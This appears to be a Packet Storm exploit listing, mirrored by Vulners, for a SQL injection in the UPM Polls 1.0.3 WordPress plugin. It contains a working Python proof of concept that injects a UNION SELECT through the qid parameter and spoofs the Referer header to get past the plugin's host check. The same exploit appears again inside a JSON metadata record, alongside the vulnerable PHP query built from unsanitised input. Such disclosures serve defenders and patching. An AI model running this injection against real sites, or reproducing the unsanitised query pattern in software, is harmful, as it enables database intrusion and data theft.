Search...

UPM Polls 1.0.3 SQL Injection

2011-08-06T00:00:00

ID PACKETSTORM:103755
Type packetstorm
Reporter Miroslav Stampar
Modified 2011-08-06T00:00:00

Description

                                        
                                            `# Exploit Title: UPM Polls &lt;= 1.0.3 SQL Injection Vulnerability  
# Date: 2011-08-06  
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)  
# Software Link: http://downloads.wordpress.org/plugin/upm-polls.1.0.3.zip  
# Version: 1.0.3 (tested)  
  
---  
PoC  
---  
#!/bin/python  
  
import re  
import urllib2  
import urlparse  
  
url = "http://www.site.com/wp-content/plugins/upm-polls/includes/poll_logs.php?qid=-1 UNION ALL SELECT NULL,CONCAT(CHAR(96),@@version,CHAR(96)),NULL,NULL,NULL,NULL-- ".replace(" ", "%20")  
req = urllib2.Request(url=url, headers={"Referer": url})  
content = urllib2.urlopen(req).read()  
match = re.search(r"`(.+)`", content)  
  
print match.group(1) if match else "None"  
  
---------------  
Vulnerable code  
---------------  
$ref = parse_url( $_SERVER['HTTP_REFERER'] );  
if( $_SERVER["HTTP_HOST"] != $ref['host'] ){  
exit('UPM Error:128');  
}  
  
...  
  
$QID = $_GET['qid'];  
$POLL = $wpdb-&gt;get_row("SELECT * FROM `".$wpdb-&gt;prefix."pppm_polls` WHERE `id` = $QID", ARRAY_A);  
  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:103755", "type": "packetstorm", "bulletinFamily": "exploit", "title": "UPM Polls 1.0.3 SQL Injection", "description": "", "published": "2011-08-06T00:00:00", "modified": "2011-08-06T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/103755/UPM-Polls-1.0.3-SQL-Injection.html", "reporter": "Miroslav Stampar", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:19:12", "viewCount": 1, "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2016-11-03T10:19:12", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:19:12", "rev": 2}, "vulnersScore": 0.1}, "sourceHref": "https://packetstormsecurity.com/files/download/103755/upmpolls-sql.txt", "sourceData": "`# Exploit Title: UPM Polls <= 1.0.3 SQL Injection Vulnerability \n# Date: 2011-08-06 \n# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) \n# Software Link: http://downloads.wordpress.org/plugin/upm-polls.1.0.3.zip \n# Version: 1.0.3 (tested) \n \n--- \nPoC \n--- \n#!/bin/python \n \nimport re \nimport urllib2 \nimport urlparse \n \nurl = \"http://www.site.com/wp-content/plugins/upm-polls/includes/poll_logs.php?qid=-1 UNION ALL SELECT NULL,CONCAT(CHAR(96),@@version,CHAR(96)),NULL,NULL,NULL,NULL-- \".replace(\" \", \"%20\") \nreq = urllib2.Request(url=url, headers={\"Referer\": url}) \ncontent = urllib2.urlopen(req).read() \nmatch = re.search(r\"`(.+)`\", content) \n \nprint match.group(1) if match else \"None\" \n \n--------------- \nVulnerable code \n--------------- \n$ref = parse_url( $_SERVER['HTTP_REFERER'] ); \nif( $_SERVER[\"HTTP_HOST\"] != $ref['host'] ){ \nexit('UPM Error:128'); \n} \n \n... \n \n$QID = $_GET['qid']; \n$POLL = $wpdb->get_row(\"SELECT * FROM `\".$wpdb->prefix.\"pppm_polls` WHERE `id` = $QID\", ARRAY_A); \n \n`\n"}